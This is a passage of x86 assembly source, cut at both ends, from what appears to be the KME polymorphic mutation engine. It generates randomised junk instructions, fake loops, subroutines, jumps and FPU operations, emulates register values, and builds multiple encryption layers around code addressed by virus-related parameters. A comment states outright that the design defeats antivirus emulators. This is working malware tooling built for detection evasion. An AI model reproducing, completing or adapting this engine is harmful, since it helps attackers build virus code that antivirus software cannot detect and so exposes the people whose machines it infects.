retn
; ===================== "logic" management ==================================
; this subroutine adds "logic" instruction into
; output stream.
@@poly_cmd: pusha
flagsnz FLAG_NOLOGIC, @@poly_cmd_exit ; logic disabled? --exit
mov eax, cmdavail ; no avail cmds?
or eax, cmdavail2
jz @@poly_cmd_exit ; --exit
mov eax, regused ; all avail regs used?
cmp eax, regavail
je @@poly_cmd_exit ; --exit
call @@eip ; add JMP if needed
@@poly_cmd_restart:
REG1 equ ebx
REG2 equ edx
REG1_8 equ bl
REG2_8 equ dl
XXX equ ecx ; fixed
XXX_8 equ cl ; fixed
; reg1: destination, read-write
call @@get_free_reg ; get free reg
xchg REG1, eax
jc @@poly_cmd_exit
; reg2: source, read-only. to write into, do check
call @@get_init_reg ; get init reg
xchg REG2, eax
jc @@poly_cmd_exit
call rnd_dword ; get random argument
xchg XXX, eax
mov eax, 55
call rnd_eax ; select random command index
; dispatch
or eax, eax
jz @@x_not
dec eax
jz @@x_neg
dec eax
jz @@x_inc
dec eax
jz @@x_dec
dec eax
jz @@x_inc
dec eax
jz @@x_dec
dec eax
jz @@x_shl
dec eax
jz @@x_shr
dec eax
jz @@x_rol
dec eax
jz @@x_ror
dec eax
jz @@x_sar
dec eax
jz @@x_mov_c
dec eax
jz @@x_add_c
dec eax
jz @@x_sub_c
dec eax
jz @@x_mov_c
dec eax
jz @@x_add_c
dec eax
jz @@x_sub_c
dec eax
jz @@x_xor_c
dec eax
jz @@x_and_c
dec eax
jz @@x_or_c
dec eax
jz @@x_rol_c
dec eax
jz @@x_ror_c
dec eax ; r1, r1
jz @@x_add
dec eax ;
jz @@x_sub
dec eax ;
jz @@x_xor
dec eax ; r1, r2
jz @@x_imul_ex
dec eax ; r1, r2, c
jz @@x_imul_ex_c
dec eax ; r1, c
jz @@x_btc_c
dec eax ;
jz @@x_btr_c
dec eax ;
jz @@x_bts_c
dec eax ; r1
jz @@x_bswap
dec eax ; movzx/movsx
jz @@movsxzx
dec eax ; push reg/pop
jz @@pushrp
dec eax ; push imm/pop
jz @@puship
dec eax
jz @@x_mul
dec eax
jz @@x_imul
dec eax
jz @@x_div
dec eax
jz @@x_idiv
dec eax
jz @@x_fpu
; new commands that dont need 2 dif. regs
dec eax
jz @@cmp_i_follow
dec eax
jz @@cmp_i_nofollow
dec eax
jz @@callsub
dec eax
jz @@subroutine
dec eax
jz @@x_bsr
dec eax
jz @@x_bsf
; add other commands if only different regs selected
cmp REG1, REG2 ; r1 == r2 ?
je @@poly_cmd_restart
dec eax
jz @@x_xchg
dec eax
jz @@x_mov
dec eax
jz @@x_and
dec eax
jz @@x_or
dec eax ; r1, r2, c
jz @@x_shld
dec eax ; r1, r2, c
jz @@x_shrd
dec eax ; r1, r2
jz @@x_xadd
dec eax
jz @@cmp_r_nofollow
dec eax
jz @@cmp_r_follow
dec eax
jz @@x_cycle
int 3 ; shouldn't be executed. fix # of items
@@poly_cmd_exit: ; exit
mov [esp+0*4], edi ; pushad_edi
popa
retn
; --------------------- cycle -----------------------------------------------
@@x_cycle:
testcmd2 CMD2_CYCLE, @@poly_cmd_restart
push cmdavail
push cmdavail2
and cmdavail, not (CMD_DIV+CMD_IDIV)
and cmdavail2, not (CMD2_CYCLE+CMD2_SUBROUTINE+\
CMD2_IFOLLOW+CMD2_INOFOLLOW+\
CMD2_RFOLLOW+CMD2_RNOFOLLOW)
bts regused, REG1 ;mark cycle register as used
push edi ; start-cycle: eip
call @@eip
call @@garbage_10
call rnd_zf
jz @@gen_sub
@@gen_add: mov ax, 0C081h ; add reg, param
or ah, REG1_8
stosw
mov eax, XXX
stosd
jmp @@gen_done
@@gen_sub: mov ax, 0E881h ; sub reg, param
or ah, REG1_8
stosw
mov eax, XXX
stosd
neg XXX ; 4emul: add->sub
@@gen_done:
; calc # of cycle iterations
mov eax, 666*100
call rnd_eax
inc eax
@@em_add: add em_reg[REG1*4], XXX ; calc resulting value
dec eax
jnz @@em_add
call @@eip
call @@garbage_10
mov ax, 0F881h ; cmp r,result
or ah, REG1_8
stosw
mov eax, em_reg[REG1*4]
stosd
call @@eip
pop ecx ; start-cycle: eip
lea eax, [edi+2]
sub eax, ecx
neg eax
cmp eax, 127
jg @@j_long
cmp eax, -128
jl @@j_long
@@j_short: call rnd_zf
jz @@j_long
mov ah, al
mov al, 75h
stosw
jmp @@temptemp
@@j_long: mov ax, 850Fh ; jne
stosw
stosd
sub ecx, edi
mov [edi-4], ecx
@@temptemp:
pop cmdavail2
pop cmdavail
mov eax, regused ; mark all free regs as uninit
and reginit, eax ; (value unknown)
btr regused, REG1 ; mark cycle register as free
jmp @@poly_cmd_exit
; --------------------- call subroutine -------------------------------------
@@callsub: testcmd2 CMD2_SUBROUTINE, @@poly_cmd_restart
cmp p_count, 0 ; no subs were generated yet?
je @@poly_cmd_exit ; !
cmp in_subroutine, 0 ; do not make recurse calls
jne @@poly_cmd_exit ; !
; select random sub; get addr & stack size
mov eax, p_count
call rnd_eax
xchg esi, eax
mov ebx, p_addr[esi*4]
movzx ecx, p_stack[esi]
; push params
jecxz @@skip_push_rnd
@@push_rnd: call @@eip
call rnd_8
add al, 50h
stosb
loop @@push_rnd
@@skip_push_rnd:
; generate call
call @@eip
mov al, 0E8h
stosb
stosd
sub ebx, edi
mov [edi-4], ebx
movzx ecx, p_conv[esi]
jecxz @@skip_fixstk ; 0=pascal
movzx ecx, p_stack[esi]
jecxz @@skip_fixstk
mov ax, 0C483h ; add esp, nn
stosw
lea eax, [ecx*4]
stosb
call rnd_zf
jz @@skip_fixstk
mov byte ptr [edi-2], 0ECh ; add-->sub
neg byte ptr [edi-1] ; -nn
@@skip_fixstk:
jmp @@poly_cmd_exit
; --------------------- generate subroutine ---------------------------------
@@subroutine: testcmd2 CMD2_SUBROUTINE, @@poly_cmd_restart
cmp p_count, C_MAX_SUB ; fixed # of subroutines
jae @@poly_cmd_exit ; !
inc in_subroutine ; we're inside of subroutine(s)
; now, push all the state related to output code flow generation
flagsnz FLAG_NOJMPS, @@s_no_jmps ; cant be called?
; if jmps allowed, gen sub somewhere there
push edi ; current EIP
call @@eip_do1 ; change EIP (requres FLAG_NOJMPS=0)
jmp @@s_done
@@s_no_jmps: mov al, 0E9h ; NOJMPS? bypass subroutine
stosb
stosd
push edi ; current EIP
@@s_done:
call @@state_push
xor ecx, ecx ; ECX<--number of paramz
call rnd_zf ; have any params?
jnz @@set0
mov eax, 4 ; 1..4
call rnd_eax
lea ecx, [eax+1]
@@set0:
; save addr(EDI) & params(CL)
mov eax, p_count
inc p_count
mov p_addr[eax*4], edi
mov p_stack[eax], cl
; calling convention: cdecl=1, pascal=0
call rnd_zf
sete dl
mov p_conv[eax], dl
dec dl ; cdecl=0, pascal=-1
and cl, dl ; if (cdecl) pop_params=0
shl ecx, 2
push ecx ; params size, in BYTEs
; reinitialize the state
; reduce set of registers available
@@rnd_again: call rnd_byte
and eax, regavail
jz @@rnd_again
mov regavail, eax
mov reginit, 0 ; all register values unknow
mov regused, 0 ; ('coz multiple calls)
; prolog
mov ebx, regavail
@@push_loop: bsf eax, ebx ; smart idea
jz @@push_done
btr ebx, eax
call @@eip
add al, 50h
stosb
jmp @@push_loop
@@push_done:
; body
mov eax, 50
call @@multi_garbage
call @@eip
; epilog
mov ebx, regavail ; pop mask
@@pop_loop: bsr eax, ebx
jz @@pop_done
btr ebx, eax
call @@eip
add al, 58h ;POP regs 1 at once
stosb
jmp @@pop_loop
@@pop_done:
; retn
call @@eip
mov al, 0C3h
stosb
pop ecx ; param frame size
jecxz @@simpleret
dec byte ptr [edi-1] ; C3->C2
mov eax, ecx ; RET ? clean paramz
stosw
@@simpleret:
call @@state_pop
; restore all the state
flagsnz FLAG_NOJMPS, @@e_no_jmps
pop edi ; 5 bytes (unrealized JMP) at EDI
jmp @@e_done
@@e_no_jmps: pop ecx
mov eax, edi
sub eax, ecx
mov [ecx-4], eax
@@e_done:
dec in_subroutine
jmp @@poly_cmd_exit
; --------------------- misc ------------------------------------------------
@@state_push: pop esi
push regavail
lea eax, state_begin
lea ecx, state_end
@@push_cycle: push dword ptr [eax]
add eax, 4
cmp eax, ecx
jne @@push_cycle
jmp esi
@@state_pop: pop esi
lea eax, state_begin
lea ecx, state_end
@@pop_cycle: sub ecx, 4
pop dword ptr [ecx]
cmp ecx, eax
jne @@pop_cycle
pop regavail
jmp esi
; --------------------- movsxzx ---------------------------------------------
@@movsxzx: testcmd CMD_MOVSXZX, @@poly_cmd_restart
cmp REG2, 4
jae @@poly_cmd_exit
mov ecx, em_reg[REG2*4]
call rnd_zf
jz @@use_xl
mov cl, ch ;use high 8 bits (AH,BH,...)
or REG2_8, 4
@@use_xl:
call rnd_zf
jz @@movsx
@@movzx: mov ax, 0B60Fh ;movzx
movzx ecx, cl
jmp @@stos_sxzx
@@movsx: mov ax, 0BE0Fh ;movsx
movsx ecx, cl
@@stos_sxzx:
mov em_reg[REG1*4], ecx
stosw
xchg REG1, REG2
call @@modrm
jmp @@poly_cmd_exit
; --------------------- push reg ; poly_cmd() ; pop_reg----------------------
@@pushrp: testcmd2 CMD2_PUSHPOPR, @@poly_cmd_restart
mov ecx, em_reg[REG2*4]
lea eax, [REG2+50h]
stosb ; push reg
jmp @@pop
@@puship: testcmd2 CMD2_PUSHPOPC, @@poly_cmd_restart
call rnd_zf
jz @@imm_d
@@imm_b: mov ah, cl
movsx ecx, ah
mov al, 6Ah ; push byte
stosw
jmp @@pop
@@imm_d: mov al, 68h
stosb ; push dword
mov eax, ecx
stosd
@@pop:
bts regused, REG1 ;v5.50 bugfix
call @@poly_cmd
btr regused, REG1 ;v5.50 bugfix
call @@eip
lea eax, [REG1+58h]
stosb ;pop reg
mov em_reg[REG1*4], ecx
jmp @@poly_cmd_exit
; --------------------- cmp r, r/c ; jxx ------------------------------------
@@cmp_i_follow: flagsnz FLAG_NOJMPS, @@poly_cmd_exit
testcmd2 CMD2_IFOLLOW, @@poly_cmd_exit
mov tempo, -1
jmp @@cmp_i
@@cmp_i_nofollow: testcmd2 CMD2_INOFOLLOW, @@poly_cmd_exit
mov tempo, 0
@@cmp_i:
test REG1, REG1
jnz @@longcmp
flagsnz FLAG_NOSHORT, @@longcmp ; if skip short opcs
mov al, 3Dh ; short form for eax
stosb
jmp @@cmpeaxboth
@@longcmp: mov ax, 0F881h ; CMP
or ah, REG1_8
stosw
@@cmpeaxboth: call rnd_zf
mov eax, em_reg[REG1*4] ;Z
jz @@useit
mov eax, XXX ; ecx
flagsnz FLAG_NOSHORT_C, @@useit
call rnd_zf
jnz @@useit
dec edi ;
cmp byte ptr [edi], 3Dh ; EAX ?
je @@longcmp ;
inc edi ;
mov byte ptr [edi-2], 83h ; 81->83, short form
movsx eax, al ; to pass EAX to @@outcond
stosb
jmp @@outcond
@@useit: stosd
jmp @@outcond
@@cmp_r_follow: flagsnz FLAG_NOJMPS, @@poly_cmd_exit
testcmd2 CMD2_RFOLLOW, @@poly_cmd_exit
mov tempo, -1
jmp @@cmp_r
@@cmp_r_nofollow: testcmd2 CMD2_RNOFOLLOW, @@poly_cmd_exit
mov tempo, 0
@@cmp_r:
push REG1 REG2 ; 'coz of @@swap
mov al, 39h ; cmp r,r
call @@swap
stosb
call @@modrm
pop REG2 REG1
mov eax, em_reg[REG2*4]
@@outcond:
call @@eip
cmp em_reg[REG1*4], eax
seto jxxcond[0]
setb jxxcond[2]
sete jxxcond[4]
setbe jxxcond[6]
sets jxxcond[8]
setp jxxcond[10]
setl jxxcond[12]
setle jxxcond[14]
call rnd_8
shl eax, 1
xor al, jxxcond[eax]
xor al, 70h
mov ecx, tempo
jecxz @@dont_follow
xor al, 0F1h ; invert condition + short2near
mov ah, 0Fh ;
xchg al, ah
mov ebx, edi
inc edi ; +1
call @@eip_do1
mov word ptr [ebx], ax ;convert to jcc
jmp @@poly_cmd_exit
@@dont_follow: call rnd_zf
jz @@long_dontfollow
@@short_dontfollow: stosb
call rnd_byte
stosb ;displacement(that dont get exec)
jmp @@poly_cmd_exit
@@long_dontfollow: xor al, 0F0h
mov ah, 0Fh
xchg al, ah
stosw
call rnd_dword
stosd
jmp @@poly_cmd_exit
; --------------------- common subroutines ----------------------------------
; input: EAX=opcode, REG1,REG2
@@swap: flagsnz FLAG_NOSWAP, @@swap_retn
call rnd_zf
jz @@swap_retn
xor al, 2 ; bit 'S', means swap regs
xchg REG1, REG2 ; so, the same action
@@swap_retn: retn
@@oralR1_stosb: or al, REG1_8
stosb
jmp @@poly_cmd_exit
@@orahR1_stosw: or ah, REG1_8
stosw
jmp @@poly_cmd_exit
@@swap_stosb_modrm: call @@swap
jmp @@stosb_modrm
@@stosw_modrm: stosb
mov al, ah
@@stosb_modrm: stosb
call @@modrm
jmp @@poly_cmd_exit
@@modrm: pusha
mov al, 0C0h
shl REG2_8, 3
or al, REG2_8
or al, REG1_8
stosb
popa
inc edi
retn
@@stosw_modrm_stosbX: stosw
call @@modrm
jmp @@stosbX
@@stosb_modrm_stosd: stosb
call @@modrm
jmp @@stosd
@@oralR1_stosb_stosd: or al, REG1_8
@@stosb_stosd: stosb
@@stosd: xchg eax, XXX
stosd
jmp @@poly_cmd_exit
@@orahR1_stosw_stosd: or ah, REG1_8
stosw
jmp @@stosd
@@checkshort: cmp al, 83h
je @@orahR1_stosw_stosbX
flagsnz FLAG_NOSHORT, @@orahR1_stosw_stosd
test REG1, REG1
jnz @@orahR1_stosw_stosd
shr eax, 16
jmp @@stosb_stosd
@@orahR1_stosw_stosbX: or ah, REG1_8
stosw
@@stosbX: mov al, XXX_8
stosb
jmp @@poly_cmd_exit
@@modarg: and ecx, 31 ; if (x==0) x++;
cmp cl, 1
adc cl, 0
retn
@@stos3or: stosw
shr eax, 16
or al, REG1_8
mov ah, XXX_8
stosw
jmp @@poly_cmd_exit
; ---------------------------------------------------------------------------
@@x_not: testcmd CMD_NOT, @@poly_cmd_restart
not em_reg[REG1*4] ; emul -- not r1
mov ax, 0d0f7h ; opcode
jmp @@orahR1_stosw
@@x_neg: testcmd CMD_NEG, @@poly_cmd_restart
neg em_reg[REG1*4] ; emul -- neg r1
mov ax, 0d8f7h ; opcode
jmp @@orahR1_stosw
@@x_inc: testcmd CMD_INC, @@poly_cmd_restart
inc em_reg[REG1*4] ; emul -- inc r1
mov al, 40h ; opcode
jmp @@oralR1_stosb
@@x_dec: testcmd CMD_DEC, @@poly_cmd_restart
dec em_reg[REG1*4] ; emul -- dec r1
mov al, 48h ; opcode
jmp @@oralR1_stosb
@@x_shl: testcmd CMD_SHL, @@poly_cmd_restart
shl em_reg[REG1*4], 1 ; emul -- shl r1, 1
mov ax, 0e0d1h ; opcode
jmp @@orahR1_stosw
@@x_shr: testcmd CMD_SHR, @@poly_cmd_restart
shr em_reg[REG1*4], 1 ; emul -- shr r1, 1
mov ax, 0e8d1h ; opcode
jmp @@orahR1_stosw
@@x_rol: testcmd CMD_ROL, @@poly_cmd_restart
rol em_reg[REG1*4], 1 ; emul -- rol r1, 1
mov ax, 0c0d1h ; opcode
jmp @@orahR1_stosw
@@x_ror: testcmd CMD_ROR, @@poly_cmd_restart
ror em_reg[REG1*4], 1 ; emul -- ror r1, 1
mov ax, 0c8d1h ; opcode
jmp @@orahR1_stosw
@@x_sar: testcmd CMD_SAR, @@poly_cmd_restart
sar em_reg[REG1*4], 1 ; emul -- sar r1, 1
mov ax, 0f8d1h ; opcode
jmp @@orahR1_stosw
@@x_xor: testcmd CMD_XOR, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- xor r1, r2
xor em_reg[REG1*4], eax
mov al, 31h ; opcode
jmp @@swap_stosb_modrm
@@x_add: testcmd CMD_ADD, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- add r1, r2
add em_reg[REG1*4], eax
mov al, 01h ; opcode
jmp @@swap_stosb_modrm
@@x_sub: testcmd CMD_SUB, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- sub r1, r2
sub em_reg[REG1*4], eax
mov al, 29h ; opcode
jmp @@swap_stosb_modrm
@@x_mov: testcmd CMD_MOV, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- mov r1, r2
mov em_reg[REG1*4], eax
mov al, 89h ; opcode
jmp @@swap_stosb_modrm
@@x_xchg: testcmd CMD_XCHG, @@poly_cmd_restart
bt regused, REG2
jc @@poly_cmd_exit
mov eax, em_reg[REG1*4] ; emul -- xchg r1, r2
xchg em_reg[REG2*4], eax
mov em_reg[REG1*4], eax
mov al, 87h ; opcode
jmp @@stosb_modrm
@@x_and: testcmd CMD_AND, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- and r1, r2
and em_reg[REG1*4], eax
mov al, 21h ; opcode
jmp @@swap_stosb_modrm
@@x_or: testcmd CMD_OR, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- or r1, r2
or em_reg[REG1*4], eax
mov al, 09h ; opcode
jmp @@swap_stosb_modrm
@@x_mov_c: testcmd CMD_MOV, @@poly_cmd_restart
mov em_reg[REG1*4], XXX ; emul -- mov r1, c
mov al, 0B8h ; opcode
jmp @@oralR1_stosb_stosd
@@x_add_c: testcmd CMD_ADD, @@poly_cmd_restart
mov eax, 05C081h
call @@try_short
add em_reg[REG1*4], XXX ; emul -- add r1, c
jmp @@checkshort
@@x_sub_c: testcmd CMD_SUB, @@poly_cmd_restart
mov eax, 2DE881h ; opcode
call @@try_short
sub em_reg[REG1*4], XXX ; emul -- sub r1, c
jmp @@checkshort
@@x_xor_c: testcmd CMD_XOR, @@poly_cmd_restart
mov eax, 35F081h ; opcode
call @@try_short
xor em_reg[REG1*4], XXX ; emul -- xor r1, c
jmp @@checkshort
@@x_and_c: testcmd CMD_AND, @@poly_cmd_restart
mov eax, 25E081h ; opcode
call @@try_short
and em_reg[REG1*4], XXX ; emul -- and r1, c
jmp @@checkshort
@@x_or_c: testcmd CMD_OR, @@poly_cmd_restart
mov eax, 0DC881h ; opcode
call @@try_short
or em_reg[REG1*4], XXX ; emul -- or r1, c
jmp @@checkshort
@@try_short: flagsnz FLAG_NOSHORT_C, @@try_short_retn
call rnd_zf
jz @@try_short_retn
or al, 2 ; 81->83
movsx XXX, XXX_8
@@try_short_retn: retn
@@x_rol_c: testcmd CMD_ROL, @@poly_cmd_restart
call @@modarg ; modify argument
rol em_reg[REG1*4], cl ; emul -- rol r1, c
mov ax, 0C0C1h ; opcode
jmp @@orahR1_stosw_stosbX
@@x_ror_c: testcmd CMD_ROR, @@poly_cmd_restart
call @@modarg ; modify argument
ror em_reg[REG1*4], cl ; emul -- ror r1, c
mov ax, 0C8C1h ; opcode
jmp @@orahR1_stosw_stosbX
@@x_imul_ex: testcmd CMD_IMUL_EX, @@poly_cmd_restart
mov eax, em_reg[REG1*4] ; emul -- imul r1, r2
imul eax, em_reg[REG2*4]
mov em_reg[REG1*4], eax
mov ax, 0AF0Fh ; opcode
xchg REG1, REG2
jmp @@stosw_modrm
@@x_imul_ex_c: testcmd CMD_IMUL_EX, @@poly_cmd_restart
mov eax, em_reg[REG2*4] ; emul -- imul r1,r2,c
imul eax, XXX
mov em_reg[REG1*4], eax
mov al, 69h ; opcode
xchg REG1, REG2
jmp @@stosb_modrm_stosd
@@x_shld: testcmd CMD_SHLD, @@poly_cmd_restart
call @@modarg ; modify argument
mov eax, em_reg[REG2*4] ; emul -- shld r1,r2,c
shld em_reg[REG1*4], eax, cl
mov ax, 0A40Fh ; opcode
jmp @@stosw_modrm_stosbX
@@x_shrd: testcmd CMD_SHRD, @@poly_cmd_restart
call @@modarg ; modify argument
mov eax, em_reg[REG2*4] ; emul -- shrd r1,r2,c
shrd em_reg[REG1*4], eax, cl
mov ax, 0AC0Fh ; opcode
jmp @@stosw_modrm_stosbX
@@x_btc_c: testcmd CMD_BTC, @@poly_cmd_restart
call @@modarg ; modify argument
btc em_reg[REG1*4], XXX ; emul -- btc r1, c
mov eax, 0f8ba0fh ; opcode
jmp @@stos3or
@@x_btr_c: testcmd CMD_BTR, @@poly_cmd_restart
call @@modarg ; modify argument
btr em_reg[REG1*4], XXX ; emul -- btr r1, c
mov eax, 0f0ba0fh ; opcode
jmp @@stos3or
@@x_bts_c: testcmd CMD_BTS, @@poly_cmd_restart
call @@modarg ; modify argument
bts em_reg[REG1*4], XXX ; emul -- bts r1, c
mov eax, 0e8ba0fh ; opcode
jmp @@stos3or
@@x_bswap: testcmd CMD_BSWAP, @@poly_cmd_restart
mov eax, em_reg[REG1*4] ; emul -- bswap r1
bswap eax
mov em_reg[REG1*4], eax
mov ax, 0c80fh ; opcode
jmp @@orahR1_stosw
@@x_xadd: testcmd CMD_XADD, @@poly_cmd_restart
bt regused, REG2
jc @@poly_cmd_exit
mov eax, em_reg[REG1*4] ; emul -- xadd r1,r2
mov ecx, em_reg[REG2*4]
xadd eax, ecx
mov em_reg[REG1*4], eax
mov em_reg[REG2*4], ecx
mov ax, 0C10Fh ; opcode
jmp @@stosw_modrm
@@x_bsr: testcmd CMD_BSR, @@poly_cmd_restart
mov eax, em_reg[REG1*4]
mov ecx, em_reg[REG2*4]
bsr eax, ecx
mov em_reg[REG1*4], eax
mov ax, 0BD0Fh
xchg REG1, REG2
jmp @@stosw_modrm
@@x_bsf: testcmd CMD_BSF, @@poly_cmd_restart
mov eax, em_reg[REG1*4]
mov ecx, em_reg[REG2*4]
bsf eax, ecx
mov em_reg[REG1*4], eax
mov ax, 0BC0Fh
xchg REG1, REG2
jmp @@stosw_modrm
@@md_init: mov eax, regavail
and eax, REG_EAX+REG_EDX
cmp eax, REG_EAX+REG_EDX
jne @@md_sux
mov eax, reginit
and eax, REG_EAX+REG_EDX
cmp eax, REG_EAX+REG_EDX
jne @@md_sux
test regused, REG_EAX+REG_EDX
jnz @@md_sux
mov eax, em_reg[REG_EAX_N*4]
mov edx, em_reg[REG_EDX_N*4]
mov ecx, em_reg[REG1*4]
retn
@@md_sux: pop eax ; return address
jmp @@poly_cmd_exit
@@md_done: mov em_reg[REG_EAX_N*4], eax
mov em_reg[REG_EDX_N*4], edx
retn
@@x_mul: testcmd CMD_MUL, @@poly_cmd_restart
call @@md_init
mul ecx
call @@md_done
mov ax, 0E0F7h
jmp @@orahR1_stosw
@@x_imul: testcmd CMD_IMUL, @@poly_cmd_restart
call @@md_init
imul ecx
call @@md_done
mov ax, 0E8F7h
jmp @@orahR1_stosw
@@x_div: testcmd CMD_DIV, @@poly_cmd_restart
call @@md_init
;; check if DIV avail
or ecx, ecx
jz @@poly_cmd_exit
cmp ecx, edx
jbe @@poly_cmd_exit
;;
div ecx
call @@md_done
mov eax, 0F0F7h
jmp @@orahR1_stosw
@@x_idiv: testcmd CMD_DIV, @@poly_cmd_restart
call @@md_init
;; check if IDIV avail X-)
call @@can_idiv
jc @@poly_cmd_exit
;;
idiv ecx
call @@md_done
mov eax, 0F8F7h
jmp @@orahR1_stosw
; action: IDIV parameters checking (partial emulation, unsigned)
; input: EDX:EAX, ECX
; output: CF
; * all AV emulators performs only partial verification at this step,
; * and skips some good IDIVs. So, they will be unable to emul our code.
@@can_idiv: pusha
or ecx, ecx
stc ; 4.00:optimized
jz @@idiv_err
jg @@g1
neg ecx
@@g1: or edx, edx
jge @@g2
neg edx
neg eax
sbb edx, 0
@@g2: xor esi, esi ; d
xor edi, edi ; m
mov bl, 64
@@divcycle: shl esi, 1 ; d <<= 1
jc @@idiv_err
shl eax, 1 ; x <<= 1
rcl edx, 1
rcl edi, 1 ; m = (m << 1) | x.bit[i]
jc @@cmpsub
cmp edi, ecx ; if (m >= y)
jb @@cmpsubok
@@cmpsub: sbb edi, ecx ; m -= y
or esi, 1 ; d |= 1
@@cmpsubok: dec bl
jnz @@divcycle
shl esi, 1
jc @@idiv_err
shl edi, 1
; jc @@idiv_err ; 4.00:optimized
; popa
; retn
@@idiv_err: ; stc
popa
retn
; ---------------------------------------------------------------------------
; real super-puper...
@@x_fpu: testcmd2 CMD2_FPU, @@poly_cmd_restart
cmp in_subroutine, 0 ; avoid FPU stack overflow
jne @@poly_cmd_exit
cmp fpustack, 8 ; max FPU stack
jae @@poly_cmd_exit
cmp fpuinit, 0
jne @@alredyinit
inc fpuinit
mov ax, 0DB9Bh ; finit (wait+fninit)
stosw
mov al, 0E3h
stosb
finit
mov fpustack, 0
jmp @@poly_cmd_exit ; v5.50 bugfix
@@alredyinit:
bts regused, REG1 ; v5.50 bugfix
lea eax, [REG2+50h] ; push reg2
stosb
push em_reg[REG2*4]
call @@poly_cmd
call @@do_fild ; fld/fild dword ptr [esp]
xor esi, esi ; 1 arg
cmp fpustack, 8 ; no more fpu stack avail?
jae @@fpu_onearg
call rnd_zf
jnz @@fpu_twoarg
@@fpu_onearg:
call rnd_3
; jz @@fsin
dec eax
jz @@fcos
dec eax
jz @@fsqrt
@@fsin: mov ax, 0FED9h
fsin
jmp @@stosw_fpu_done
@@fcos: mov ax, 0FFD9h
fcos
jmp @@stosw_fpu_done
@@fsqrt: mov ax, 0FAD9h
fsqrt
@@stosw_fpu_done: stosw
@@fpu_done: call @@poly_cmd
call @@do_fist ; fstp/fistp dword ptr [esp]
call @@eip
lea eax, [REG1+58h] ; pop reg1
stosb
pop em_reg[REG1*4]
btr regused, REG1 ; v5.50 bugfix
or esi, esi
jz @@was1
call @@poly_cmd
call @@eip
mov ax, 0C483h ; add esp, 4
stosw
mov al, 4
stosb
add esp, 4
@@was1:
jmp @@poly_cmd_exit
@@fpu_twoarg: inc esi ; 2 args
lea eax, [REG1+50h] ; push reg1
stosb
push em_reg[REG1*4]
call @@poly_cmd
call @@do_fild ; fld/fild dword ptr [esp]
mov eax, 6
call rnd_eax
; jz @@fadd
dec eax
jz @@fsub
dec eax
jz @@fsubr
dec eax
jz @@fmul
dec eax
jz @@fdiv
dec eax
jz @@fdivr
@@fadd: mov ax, 0C1DEh
fadd
@@dfs_stosw_fpu_done:
dec fpustack
jmp @@stosw_fpu_done
@@fsub: mov ax, 0E9DEh
fsub
jmp @@dfs_stosw_fpu_done
@@fsubr: mov ax, 0E1DEh
fsubr
jmp @@dfs_stosw_fpu_done
@@fmul: mov ax, 0C9DEh
fmul
jmp @@dfs_stosw_fpu_done
@@fdiv: mov ax, 0F9DEh
fdiv
jmp @@dfs_stosw_fpu_done
@@fdivr: mov ax, 0F1DEh
fdivr
jmp @@dfs_stosw_fpu_done
@@do_fild: call @@eip
call rnd_zf
jz @@fld
@@fild: mov ax, 04DBh ; fild dword ptr [esp]
fild dword ptr [esp+4]
jmp @@x1
@@fld: mov ax, 04D9h ; fld dword ptr [esp]
fld dword ptr [esp+4]
@@x1: stosw
mov al, 24h
stosb
inc fpustack
call @@poly_cmd
retn
@@do_fist: call @@eip
call rnd_zf
jz @@fist
@@fst: mov ax, 1CD9h ; fstp dword ptr [esp]
fstp dword ptr [esp+4]
jmp @@x2
@@fist: mov ax, 1CDBh ; fistp dword ptr [esp]
fistp dword ptr [esp+4]
@@x2: stosw
mov al, 24h
stosb
dec fpustack
call @@poly_cmd
retn
; ---------------------------------------------------------------------------
random: mov eax, randseed
imul eax, 214013
add eax, 2531011
mov randseed, eax
mov eax, randseed2
imul eax, 8088405h
inc eax
mov randseed2, eax
xor eax, randseed
retn
rnd: push ecx
push edx
call random
mov ecx, [esp+4]+8 ; range
cmp ecx, 65536
jae @@div
@@mul: shr eax, 16
imul eax, ecx
shr eax, 16
@@rnd_exit: pop edx
pop ecx
test eax, eax
retn 4
@@div: xor edx, edx
div ecx
mov eax, edx ; v5.50 bugfix
jmp @@rnd_exit
rnd_eax: push eax
call rnd
retn
rnd_3: push 3
call rnd
retn
rnd_2: push 2
call rnd
retn
rnd_zf: push eax
call rnd_2
pop eax
retn
rnd_8: push 8
call rnd
retn
rnd_byte: push 256
call rnd
retn
rnd_dword: push eax
call rnd_byte
mov [esp+0], al
call rnd_byte
mov [esp+1], al
call rnd_byte
mov [esp+2], al
call rnd_byte
mov [esp+3], al
pop eax
test eax, eax
retn
@@multilayer:
; calc EBX = # of layers we wanna build
mov eax, nlayer ; != 1 (1 was used before)
cmp eax, 2 ; nlayer >= 2 --> exactly #
jge @@eax_layers
cmp eax, -2 ; nlayer <= -2 --> 1+rnd(-nlayer)
jle @@rnd_layers
jmp @@error_badarg ; nlayer == -1,0 --> unused
@@rnd_layers: neg eax
call rnd_eax
inc eax
@@eax_layers: xchg ebx, eax
mov restartcount, 0
@@restart:
; COPY: input -> temp
mov edi, tempbufptr
or edi, edi
jz @@error_badarg
mov esi, i_offs
mov ecx, i_size
mov t_size, ecx
rep movsb
push i_entry
pop t_entry
xor edx, edx
@@layer_cycle: inc edx ; current layer #, [1..EBX]
; KME: temp -> output
push flags
; allow FLAG_X_RETBYJMP & FLAG_X_RET0C to be set in OUTER layer only
cmp edx, ebx
je @@z0
and dword ptr [esp], not (FLAG_X_RETBYJMP+FLAG_X_RET0C)
@@z0:
push cmdavail
push cmdavail2
push regavail
push jmp_prob
push po_entry
mov ecx, po_size
or ecx, ecx
jnz @@cxnz
lea ecx, po_size_ml
mov po_size, ecx
@@cxnz:
push ecx ; po_size
push o_fillchar
push o_max
push o_offs
push t_entry
push t_size
push tempbufptr ; i_offs
push initregptr ; } used in OUTER layer only
cmp edx, ebx
je @@z1
pop eax
push 0
@@z1:
push exitregptr ; } used in INNER layer only
cmp edx, 1
je @@z2
pop eax
push 0
@@z2:
push vir_rva
push original_rva
push regsave ; } used in OUTER layer only
cmp edx, ebx
je @@z3
pop eax
push 0
@@z3:
call rnd_dword
push eax ; randseed
push 1 ; nlayer
push 0 ; tempbufptr
call kme_main
add esp, 4*KME_N_ARGS
cmp eax, KME_ERROR_NOMEMORY
jne @@baderror
cmp edx, 1
je @@baderror
mov ecx, nlayer
or ecx, ecx
